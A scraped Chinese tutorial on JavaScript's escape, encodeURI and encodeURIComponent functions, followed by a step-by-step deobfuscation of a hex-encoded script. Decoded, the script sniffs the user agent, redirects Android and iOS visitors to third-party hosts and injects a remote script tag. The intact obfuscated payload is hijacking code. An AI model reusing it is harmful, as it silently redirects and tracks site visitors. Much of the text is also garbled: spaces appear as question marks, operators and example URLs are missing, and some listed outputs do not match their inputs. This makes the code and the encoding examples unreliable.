JS對(duì)文字進(jìn)行編碼涉及3個(gè)函數(shù):escape,encodeURI,encodeURIComponent,相應(yīng)3個(gè)解碼函數(shù):unescape,decodeURI,decodeURIComponent
網(wǎng)站建設(shè)哪家好,找成都創(chuàng)新互聯(lián)公司!專注于網(wǎng)頁(yè)設(shè)計(jì)、網(wǎng)站建設(shè)、微信開(kāi)發(fā)、微信小程序定制開(kāi)發(fā)、集團(tuán)企業(yè)網(wǎng)站建設(shè)等服務(wù)項(xiàng)目。為回饋新老客戶創(chuàng)新互聯(lián)還提供了沂源免費(fèi)建站歡迎大家使用!
下面簡(jiǎn)單介紹一下它們的區(qū)別
1 escape()函數(shù)
定義和用法?
escape() 函數(shù)可對(duì)字符串進(jìn)行編碼,這樣就可以在所有的計(jì)算機(jī)上讀取該字符串。
語(yǔ)法?
escape(string)
參數(shù)? 描述?
string? 必需。要被轉(zhuǎn)義或編碼的字符串。
返回值?
已編碼的 string 的副本。其中某些字符被替換成了十六進(jìn)制的轉(zhuǎn)義序列。
說(shuō)明?
該方法不會(huì)對(duì) ASCII 字母和數(shù)字進(jìn)行編碼,也不會(huì)對(duì)下面這些 ASCII 標(biāo)點(diǎn)符號(hào)進(jìn)行編碼: - _ . ! ~ * ' ( ) 。其他所有的字符都會(huì)被轉(zhuǎn)義序列替換。
2 encodeURI()函數(shù)?
定義和用法?
encodeURI() 函數(shù)可把字符串作為 URI 進(jìn)行編碼。
語(yǔ)法?
encodeURI(URIstring)
參數(shù)? 描述?
URIstring? 必需。一個(gè)字符串,含有 URI 或其他要編碼的文本。
返回值?
URIstring 的副本,其中的某些字符將被十六進(jìn)制的轉(zhuǎn)義序列進(jìn)行替換。
說(shuō)明?
該方法不會(huì)對(duì) ASCII 字母和數(shù)字進(jìn)行編碼,也不會(huì)對(duì)這些 ASCII 標(biāo)點(diǎn)符號(hào)進(jìn)行編碼: - _ . ! ~ * ' ( ) 。
該方法的目的是對(duì) URI 進(jìn)行完整的編碼,因此對(duì)以下在 URI 中具有特殊含義的 ASCII 標(biāo)點(diǎn)符號(hào),encodeURI() 函數(shù)是不會(huì)進(jìn)行轉(zhuǎn)義的:;/?:@=+$,#
3 encodeURIComponent() 函數(shù)
定義和用法?
encodeURIComponent() 函數(shù)可把字符串作為 URI 組件進(jìn)行編碼。
語(yǔ)法?
encodeURIComponent(URIstring)
參數(shù)? 描述?
URIstring? 必需。一個(gè)字符串,含有 URI 組件或其他要編碼的文本。
返回值?
URIstring 的副本,其中的某些字符將被十六進(jìn)制的轉(zhuǎn)義序列進(jìn)行替換。
說(shuō)明?
該方法不會(huì)對(duì) ASCII 字母和數(shù)字進(jìn)行編碼,也不會(huì)對(duì)這些 ASCII 標(biāo)點(diǎn)符號(hào)進(jìn)行編碼: - _ . ! ~ * ' ( ) 。
其他字符(比如 :;/?:@=+$,# 這些用于分隔 URI 組件的標(biāo)點(diǎn)符號(hào)),都是由一個(gè)或多個(gè)十六進(jìn)制的轉(zhuǎn)義序列替換的。
提示和注釋?
提示:請(qǐng)注意 encodeURIComponent() 函數(shù) 與 encodeURI() 函數(shù)的區(qū)別之處,前者假定它的參數(shù)是 URI 的一部分(比如協(xié)議、主機(jī)名、路徑或查詢字符串)。因此 encodeURIComponent() 函數(shù)將轉(zhuǎn)義用于分隔 URI 各個(gè)部分的標(biāo)點(diǎn)符號(hào)。
4 總結(jié):
通過(guò)對(duì)三個(gè)函數(shù)的分析,我們可以知道:escape()除了 ASCII 字母、數(shù)字和特定的符號(hào)外,對(duì)傳進(jìn)來(lái)的字符串全部進(jìn)行轉(zhuǎn)義編碼,因此如果想對(duì)URL編碼,最好不要使用此方法。而encodeURI() 用于編碼整個(gè)URI,因?yàn)閁RI中的合法字符都不會(huì)被編碼轉(zhuǎn)換。encodeURIComponent方法在編碼單個(gè)URIComponent(指請(qǐng)求參數(shù))應(yīng)當(dāng)是最常用的,它可以講參數(shù)中的中文、特殊字符進(jìn)行轉(zhuǎn)義,而不會(huì)影響整個(gè)URL。
1、?? 傳遞參數(shù)時(shí)需要使用encodeURIComponent,這樣組合的url才不會(huì)被#等特殊字符截?cái)唷?
例如:document.write(' 退出
2、?? 進(jìn)行url跳轉(zhuǎn)時(shí)可以整體使用encodeURI
例如:Location.href=encodeURI("百度ct=21");
3、?? js使用數(shù)據(jù)時(shí)可以使用escape
例如:搜藏中history紀(jì)錄。
4、?? escape對(duì)0-255以外的unicode值進(jìn)行編碼時(shí)輸出%u****格式,其它情況下escape,encodeURI,encodeURIComponent編碼結(jié)果相同。
最多使用的應(yīng)為encodeURIComponent,它是將中文、韓文等特殊字符轉(zhuǎn)換成utf-8格式的url編碼,所以如果給后臺(tái)傳遞參數(shù)需要使用encodeURIComponent時(shí)需要后臺(tái)解碼對(duì)utf-8支持(form中的編碼方式和當(dāng)前頁(yè)面編碼方式相同)
escape不編碼字符有69個(gè):*,+,-,.,/,@,_,0-9,a-z,A-Z
encodeURI不編碼字符有82個(gè):!,#,$,,',(,),*,+,,,-,.,/,:,;,=,?,@,_,~,0-9,a-z,A-Z
encodeURIComponent不編碼字符有71個(gè):!, ',(,),*,-,.,_,~,0-9,a-z,A-Z
示例(摘自 W3School):
1 escape()
document.write(escape("Visit W3School!") + "
")
document.write(escape("?!=()#%"))
輸出結(jié)果:
Visit%20W3School%21
%3F%21%3D%28%29%23%25%26
2 encodeURI()
document.write(encodeURI("")+ "
")
document.write(encodeURI(" first/")+ "
")
document.write(encodeURI(",/?:@=+$#"))
輸出結(jié)果:
,/?:@=+$#
對(duì)整個(gè)URL進(jìn)行編碼,而URL的特定標(biāo)識(shí)符不會(huì)被轉(zhuǎn)碼。
3? encodeURIComponent()
例1:
document.write(encodeURIComponent(""))
document.write("
")
document.write(encodeURIComponent(" 1/"))
document.write("
")
document.write(encodeURIComponent(",/?:@=+$#"))
輸出結(jié)果:
http%3A%2F%2F
http%3A%2F%2F
%2C%2F%3F%3A%40%26%3D%2B%24%23
對(duì)URL中的參數(shù)進(jìn)行編碼,因?yàn)閰?shù)也是一個(gè)URL,如果不編碼會(huì)影響整個(gè)URL的跳轉(zhuǎn)。
** 只有 0-9[a-Z] $ - _ . + ! * ' ( ) , 以及某些保留字,才能不經(jīng)過(guò)編碼直接用于 URL。
***例如:搜索的中文關(guān)鍵字,復(fù)制網(wǎng)址之后再粘貼就會(huì)發(fā)現(xiàn)該URL已經(jīng)被轉(zhuǎn)碼。
1) escape 和 unescape
原理:對(duì)除ASCII字母、數(shù)字、標(biāo)點(diǎn)符號(hào) @ * _ + - . / 以外的其他字符進(jìn)行編碼。
編碼:
eg:escape(';order= 你好')
res:"http%3A//"
解碼:
eg:unescape("http%3A//")
res:" ;order= 你好"
2) encodeURI 和 decodeURI
原理:返回編碼為有效的統(tǒng)一資源標(biāo)識(shí)符 (URI) 的字符串,不會(huì)被編碼的字符:! @ # $ * ( ) = : / ; ? + '
encodeURI()是Javascript中真正用來(lái)對(duì)URL編碼的函數(shù)。
編碼:
eg:encodeURI(';order= 你好')
res:" ;order=%E4%BD%A0%E5%A5%BD "
解碼:
eg:decodeURI(" ;order=%E4%BD%A0%E5%A5%BD ")
res:" ;order= 你好"
3) encodeURIComponent 和 decodeURIComponent
原理:對(duì)URL的組成部分進(jìn)行個(gè)別編碼,而不用于對(duì)整個(gè)URL進(jìn)行編碼
編碼:
eg:encodeURIComponent(';order=1')
res:"http%3A%2F% 2F "
解碼:
eg:decodeURIComponent("http%3A%2F% 2F ")
res:" ;order=1 "
第一步解碼:
var?_$?=?["\x77\x66",?"\x3f",?"\x26\x74\x3d\x7a\x72",?'\x54\x72\x69\x64\x65\x6e\x74',?'\x50\x72\x65\x73\x74\x6f',?'\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74',?'\x47\x65\x63\x6b\x6f',?'\x4b\x48\x54\x4d\x4c',?'\x41\x6e\x64\x72\x6f\x69\x64',?'\x4c\x69\x6e\x75\x78',?'\x69\x50\x68\x6f\x6e\x65',?'\x69\x50\x61\x64',?'\x53\x61\x66\x61\x72\x69',?"\x68\x74\x74\x70\x3a\x2f\x2f\x62\x61\x69\x64\x75\x2d\x67\x6f\x6f\x67\x6c\x65\x2d\x73\x6f\x67\x6f\x75\x2d\x73\x6f\x73\x6f\x2d\x33\x36\x30\x2d\x71\x71\x2e\x6d\x61\x68\x6a\x75\x6e\x2e\x63\x6f\x6d\x2f\x63\x64\x6e\x2f\x69\x6e\x64\x65\x78\x2e\x68\x74\x6d\x6c\x3f",?'\x68\x74\x74\x70\x3a\x2f\x2f\x69\x6f\x73\x2e\x61\x64\x61\x6e\x7a\x68\x75\x6f\x2e\x63\x6f\x6d\x2f\x67\x6f\x33\x2e\x70\x68\x70\x3f',?'\x26\x74\x69\x64\x3d\x31\x35',?"\x3c\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3d\'\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\'\x20\x63\x68\x61\x72\x73\x65\x74\x3d\'\x67\x62\x32\x33\x31\x32\'\x20\x73\x72\x63\x3d\'\x68\x74\x74\x70\x3a\x2f\x2f\x6a\x73\x2e\x61\x64\x6d\x2e\x63\x6e\x7a\x7a\x2e\x6e\x65\x74\x2f\x73\x2e\x70\x68\x70\x3f\x73\x69\x64\x3d\x32\x36\x37\x31\x37\x34\'\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e"];
var?a?=?window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64"](_$[0])["\x73\x72\x63"];src?=?a["\x73\x70\x6c\x69\x74"](_$[1])[0x1]?+?_$[2];
var?b?=?{
versions:?function()?{
var?c?=?navigator["\x75\x73\x65\x72\x41\x67\x65\x6e\x74"],
d?=?navigator["\x61\x70\x70\x56\x65\x72\x73\x69\x6f\x6e"];
return?{
trident:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[3])??-0x1,
presto:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[4])??-0x1,
webKit:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[5])??-0x1,
gecko:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[6])??-0x1??c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[7])?==?-0x1,
mobile:?!!c["\x6d\x61\x74\x63\x68"](/AppleWebKit.*Mobile.*/),
ios:?!!c["\x6d\x61\x74\x63\x68"](/\(i[^;]+;(?U;)??CPU.+Mac?OS?X/),
android:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[8])??-0x1?||?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[9])??-0x1,
iPhone:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[10])??-0x1,
iPad:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[11])??-0x1,
webApp:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[12])?==?-0x1
}
}?(),
language:?(navigator["\x62\x72\x6f\x77\x73\x65\x72\x4c\x61\x6e\x67\x75\x61\x67\x65"]?||?navigator["\x6c\x61\x6e\x67\x75\x61\x67\x65"])["\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65"]()
};
if?(b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x6d\x6f\x62\x69\x6c\x65"]?!=?false??b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x61\x6e\x64\x72\x6f\x69\x64"]?!=?false)?{
window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"]?=?_$[13]?+?src
}?else?if?(b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x6d\x6f\x62\x69\x6c\x65"]?!=?false??(b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x68\x6f\x6e\x65"]?!=?false?||?b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x61\x64"]?!=?false?||?b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x6f\x64"]?!=?false))?{
window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"]?=?_$[14]?+?src?+?_$[15]
};
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"](_$[16]);
第二步解碼:
var?_$?=?["wf",?"?",?"t=zr",?'Trident',?'presto',?'AppleWebkit',?'Gecko',?'kHTML',?'Android',?'Linux',?'iphone',?'ipad',?'Safari',?'tid=15',?"script?type=\'text/javascript\'?charset=\'gb2312\'?src=\'\'/script"
];
var?a?=?window["document"]["getElementById"](_$[0])["src"];src?=?a["split"](_$[1])[0x1]?+?_$[2];
var?b?=?{
versions:?function()?{
var?c?=?navigator["userAgent"],
d?=?navigator["appVersion"];
return?{
trident:?c["indexOf"](_$[3])??-0x1,
presto:?c["indexOf"](_$[4])??-0x1,
webKit:?c["indexOf"](_$[5])??-0x1,
gecko:?c["indexOf"](_$[6])??-0x1??c["indexOf"](_$[7])?==?-0x1,
mobile:?!!c["match"](/AppleWebKit.*Mobile.*/),
ios:?!!c["match"](/\(i[^;]+;(?U;)??CPU.+Mac?OS?X/),
android:?c["indexOf"](_$[8])??-0x1?||?c["indexOf"](_$[9])??-0x1,
iPhone:?c["indexOf"](_$[10])??-0x1,
iPad:?c["indexOf"](_$[11])??-0x1,
webApp:?c["indexOf"](_$[12])?==?-0x1
}
}?(),
language:?(navigator["browserLanguage"]?||?navigator["language"])["toLower\x43ase"]()
};
if?(b["versions"]["mobile"]?!=?false??b["versions"]["android"]?!=?false)?{
window["location"]["href"]?=?_$[13]?+?src
}?else?if?(b["versions"]["mobile"]?!=?false??(b["versions"]["iphone"]?!=?false?||?b["versions"]["ipad"]?!=?false?||?b["versions"]["ipod"]?!=?false))?{
window["location"]["href"]?=?_$[14]?+?src?+?_$[15]
};
window["document"]["writeln"](_$[16]);
第三步解碼
var?a?=?document.getElementById('wf').src;
src?=?a.split('?')[1]?+?'t=zr';
var?b?=?{
versions:?function()?{
var?c?=?navigator.userAgent,
d?=?navigator.appVersion;
return?{
trident:?c.indexOf('Trident')??-1,
presto:?c.indexOf(?'presto')??-1,
webKit:?c.indexOf('AppleWebkit')??-1,
gecko:?c.indexOf('Gecko')??-1??c.indexOf('kHTML')?==?-1,
mobile:?!!c.match.(/AppleWebKit.*Mobile.*/),
ios:?!!c.match(/\(i[^;]+;(?U;)??CPU.+Mac?OS?X/),
android:?c.indexOf('Android')??-1?||?c.indexOf('Linux')??-1,
iPhone:?c.indexOf('iphone')??-1,
iPad:?c.indexOf('ipad')??-1,
webApp:?c.indexOf('Safari')?==?-1
}
}?(),
language:?(navigator.browserLanguage?||?navigator.language).toLowerCase();
};
if?(b["versions"]["mobile"]?!=?false??b["versions"]["android"]?!=?false)?{
location.href?=??'?'?+?src
}?else?if?(b["versions"]["mobile"]?!=?false??(b["versions"]["iphone"]?!=?false?||?b["versions"]["ipad"]?!=?false?||?b["versions"]["ipod"]?!=?false))?{
location.href??=??'?'?+?src?+?'tid=15'
};
document.writeln('script?type=\'text/javascript\'?charset=\'gb2312\'?src=\'\'/script');
將每一個(gè)字節(jié)表示的十六進(jìn)制表示的內(nèi)容,用字符串來(lái)顯示。
UTF(UCS Transformation Format)規(guī)范,常見(jiàn)的UTF規(guī)范包括UTF-8、UTF-7、UTF-16
使用2個(gè)字節(jié)表示已經(jīng)有碼點(diǎn)的字符。UCS-2只是一個(gè)編碼方案,UTF-16卻要用于實(shí)際的傳輸
UCS-4就是用4個(gè)字節(jié)(實(shí)際上只用了31位,最高位必須為0)編碼
js使用的編碼
中日韓統(tǒng)一表意文字
每個(gè)漢字由兩個(gè)字節(jié)構(gòu)成
是針對(duì)繁體漢字的漢字編碼,臺(tái)灣地區(qū)常用,共收錄13,060個(gè)漢字
該函數(shù)能解碼由創(chuàng)建或其它流程得到的統(tǒng)一資源標(biāo)識(shí)符(URI)。
方法用于解碼由方法或者其它類似方法編碼的部分統(tǒng)一資源標(biāo)識(shí)符(URI)。
escape生成新的由十六進(jìn)制轉(zhuǎn)義序列替換的字符串
計(jì)算生成一個(gè)新的字符串,其中的十六進(jìn)制轉(zhuǎn)義序列將被其表示的字符替換。